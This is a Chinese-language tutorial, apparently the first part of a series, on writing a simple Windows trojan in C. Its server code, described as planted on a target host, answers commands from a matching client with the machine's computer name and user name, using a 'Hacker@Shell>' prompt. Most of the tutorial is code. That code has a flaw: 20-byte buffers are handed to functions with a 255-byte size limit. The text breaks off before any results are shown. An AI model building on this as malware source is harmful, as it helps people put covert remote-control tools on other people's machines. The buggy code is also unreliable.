平台:Windows
环境:VS6.0
语言:C
基本功能 :
获取目标主机(服务端 )的计算机名和用户名
当客户端发送指令 "getpcname“时在客户端打印计算机名
当客户端发送指令"getusername”时在客户端打印用户名
知识储备:
1 什么是C/S结构
C/S结构即客户机服务器结构,简单来说我们的木马就是种植在服务端的,可以获取服务端的信息,而我们在客户端进行一系列的操作来控制木马的活动以使我们的小马
可以对服务器进行控制。话说我们的浏览器就是一个通用的客户端呢。
2 TCP协议和UDP协议
我们的木马的客户端和服务端肯定要进行通信,两者之间不断地发送信息,信息的传递当然需要制定一些规则来确保信息的真实性,正确性,因此人们就制定了一系列的大家通用的协议来规范通信的标准,这就有了TCP和UDP(自然不止这两种了,关于协议的更详细的内容如果感兴趣自己查阅 ) 为了能进行通信,协议规定每个终端都要将各自字符集中的字符先变换为标准字符集的字符后,才进入网络传送,到达目的终端之后,再变换为该终端字符集的字符。也就是说我们的小马在收集好服务端的信息后也要遵循这个准则,将信息统一转换为标准的字符集进行传递,客户端再进行解析转换。
基本知识准备完毕,开始行动,具体所用的函数和库我们将在完成代码时一点点的了解。
1. 获取计算机名的函数:
BOOL WINAPI GetComputerName( _Out_ LPTSTR lpBuffer, _Inout_ LPDWORD lpnSize );
参数解释:
lpBuffer是一个输出参数,是一个指向缓冲区的指针,用于接受计算机名,它的size必须足够大来保存MAX_COMPUTERNAME_LENGTH + 1 characters
lpnSize是一个输入输出参数,所谓输入即限定了lpBuffer的size,而输出即返回的计算机名的大小,不包含末尾的空字符
MSDN地址:http://msdn.microsoft.com/zh-cn/ms724295
2. 获取用户名的函数:
BOOL WINAPI GetUserName( _Out_ LPTSTR lpBuffer, _Inout_ LPDWORD lpnSize );
和GetComputerName的参数基本相同 详细内容:MSDN :http://msdn.microsoft.com/zh-cn/subscriptions/ms724432.aspx
接下来我们就来看下基本的实现的完整代码,暂时不进行通信,别着急慢慢来:
#include<stdio.h> #include<windows.h> #define MAX_SIZE 20 int main(int argc,char* argv[]) { char szComputerName[MAX_SIZE] = {0}; char szUserName[MAX_SIZE] = {0}; unsigned long nSize = MAXBYTE; GetComputerName(szComputerName,&nSize); printf("Computer name is %s \n",szComputerName); nSize = MAXBYTE; GetUserName(szUserName,&nSize); printf("User name is %s \n",szUserName); return 0; }
哈,最核心的代码我们已经完成了,是不是很简单?
预备知识:
1 WinSock接口:
Windows Socket的简称,也成为Windows套接字,是微软根据BSD UNIX 操作系统中流行的Berkeley套接字规范而实现的一套Windows下的网络编程接口 。我们的小木马的网络通信就是基于WinSock实现的,当然还有其他的类似的库,这里就不一一介绍了。
使用时我们要引入 #include<winsock2.h> 和 #pragma comment (lib,"ws2_32")
2 WinSock服务端开发流程:
WinSock的初始化(对应函数WSAStartupup( ) )——> 建立套接字socket(对应函数socket( ) )——>绑定IP和端口 (对应函数bind( ) ) ——> 监听端口 (对应函数listen( ) )——> 接受请求(对应函数accept( ) )——> 发送或者接收信息 (对应函数(send( ) / recv( ) )——> 关闭套接字 (对应函数closesocket( ) )——> 结束动态链接库
(对应函数( WSACleanup( ) )
int WSAStartup { WORD wVersionRequested, LPWSADATA lpWSAData };
该函数的第一个参数指明程序请求使用的Socket版本,其中高位字节 指明副版本、低位字节指明主版本;
操作系统利用第二个参数返回请求的Socket的版本信息。
SOCKET socket( int af, int type, int protocol };
af 指定通信协议簇,对于TCP/IP协议,该参数为PF_INET
type 指定要创建的套接字类型
protocol 指定使用的通信协议,具体和第二个参数有关,第二个参数为SOCK_STREAM则该参数为IPPROTO_TCP ,
若第二个参数为SOCK_DGRAM,则该参数为IPPROTO_UDP
int bind( SOCKET s, const struct sockaddr* name, int namlen );
s 服务器端套接字
name 制定一个sockaddr结构
namelen 指定缓冲区的长度
这里有必要介绍一下sockaddr结构——
struct sockaddr_in { short int sin_family; /* Address family */ unsigned short int sin_port; /* Port number */ struct in_addr sin_addr; /* Internet address */ unsigned char sin_zero[8]; /* Same size as struct sockaddr */ };
sin_family 指代协议族
sin_port 存储端口号(使用网络字节顺序)
sin_addr 存储IP地址,使用in_addr这个数据结构
sin_zero 是为了让sockaddr与sockaddr_in两个数据结构保持大小相同而保留的空字节。
int listen( SOCKET s, int backlog };
第一个参数很明显就是处于监听状态的套接字
backlog 客户连接请求队列
SOCKET accept( SOCKET s, struct sockaddr FAR* addr, int FAR* addrlen );
s:套接口描述字,该套接口在listen()后监听连接。
addr:(可选)指针,指向一缓冲区,其中接收为通讯层所知的连接实体的地址。Addr参数的实际格式由套接口创建时所产生的地址族确定。
addrlen:(可选)指针,指向存有addr地址长度的整形数。
int send( SOCKET s, const char *buf, int len, int flags );
buf是个指向发送的缓冲区的指针,也就是个地址
len是要发送的数据大小,一般是和buf的大小有关
flag 一般设置为0
int recv( SOCKET s, char FAR *buf, int len, int flags );
所需要的函数基本讲完了,接下来真正的动手写代码吧,上代码
/*服务器端代码*/ #include<winsock2.h> #include<windows.h> #pragma comment (lib,"ws2_32") #define MAX_SIZE 20 typedef struct _SYS_INFO { char szComputerName[MAX_SIZE];//保存计算机名 char szUserName[MAX_SIZE];//保存当前用户登录名 }SYS_INFO,*PSYS_INFO; void GetSysInfo(PSYS_INFO sysinfo) { unsigned long nSize = MAXBYTE; GetComputerName(sysinfo->szComputerName,&nSize); nSize = MAXBYTE; GetUserName(sysinfo->szUserName,&nSize); }; int main(int argc,char* argv[]) { //winsock的初始化 WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); //创建套接字 SOCKET s = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); //进行IP和端口的绑定 sockaddr_in sockaddr; sockaddr.sin_family = PF_INET; sockaddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); sockaddr.sin_port = htons(827); bind(s,(SOCKADDR*)&sockaddr,sizeof(SOCKADDR)); //监听端口 listen(s,1); //接收请求 SOCKADDR clientAddr; int Size = sizeof(SOCKADDR); SOCKET clientSock; clientSock = accept(s,(SOCKADDR*)&clientAddr,&Size);//注意,accept函数返回一个新的套接字 while(true) { //向客户端发送的信息,用于模拟一个命令行界面 send(clientSock,"Hacker@Shell>",strlen("Hacker@Shell>")+sizeof(char),NULL); char buff[MAXBYTE] = {0};//保存接受的信息 //接收信息 recv(clientSock,buff,MAXBYTE,NULL); //根据从客户端接收到的指令进行相应的操作 if(!strcmp(buff,"getpcname")||(!strcmp(buff,"getusername"))) { SYS_INFO SysInfo = {0}; GetSysInfo(&SysInfo); send(clientSock,(const char*)&SysInfo,sizeof(SYS_INFO),NULL); } } closesocket(clientSock);//关闭socket closesocket(s);//关闭socket WSACleanup();//结束动态链接库 return 0; }
客户端的代码实现和服务器端比较类似 ,直接看完整的代码:
#include<winsock2.h> #include<stdio.h> #include<conio.h> #pragma comment (lib,"ws2_32") #define NAME_LEN 20 typedef struct _SYS_INFO { char szComputerName[NAME_LEN]; //保存计算机系统名 char szUserName[NAME_LEN]; //保存当前用户登录名 }SYS_INFO,*PSYS_INFO; int main(int argc,char* argv[]) { WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); SOCKET ClientSock = socket(PF_INET,SOCK_STREAM,IPPROTO_TCP); sockaddr_in ServerAddr; ServerAddr.sin_family = PF_INET; ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1"); ServerAddr.sin_port = htons(827); connect(ClientSock,(SOCKADDR*)&ServerAddr,sizeof(SOCKADDR));//进行连接 while(true) { char Buff[MAXBYTE] = {0}; char Cmd[MAXBYTE] = {0}; recv(ClientSock,Buff,MAXBYTE,0); printf("%s",Buff); scanf("%s",Cmd); send(ClientSock,Cmd,MAXBYTE,0); if(!strcmp(Cmd,"exit")) { printf("Login out! \r\n"); break; } memset(Buff,0,MAXBYTE); recv(ClientSock,Buff,MAXBYTE,0); PSYS_INFO SysInfo = (PSYS_INFO)Buff; if(!strcmp(Cmd,"getpcname")) { printf("Computer name is %s \r\n",SysInfo->szComputerName); } else if(!strcmp(Cmd,"getusername")) { printf("User name is %s \r\n",SysInfo->szUserName); } } getch(); WSACleanup(); return 0; }
下面看一下运行的结果吧: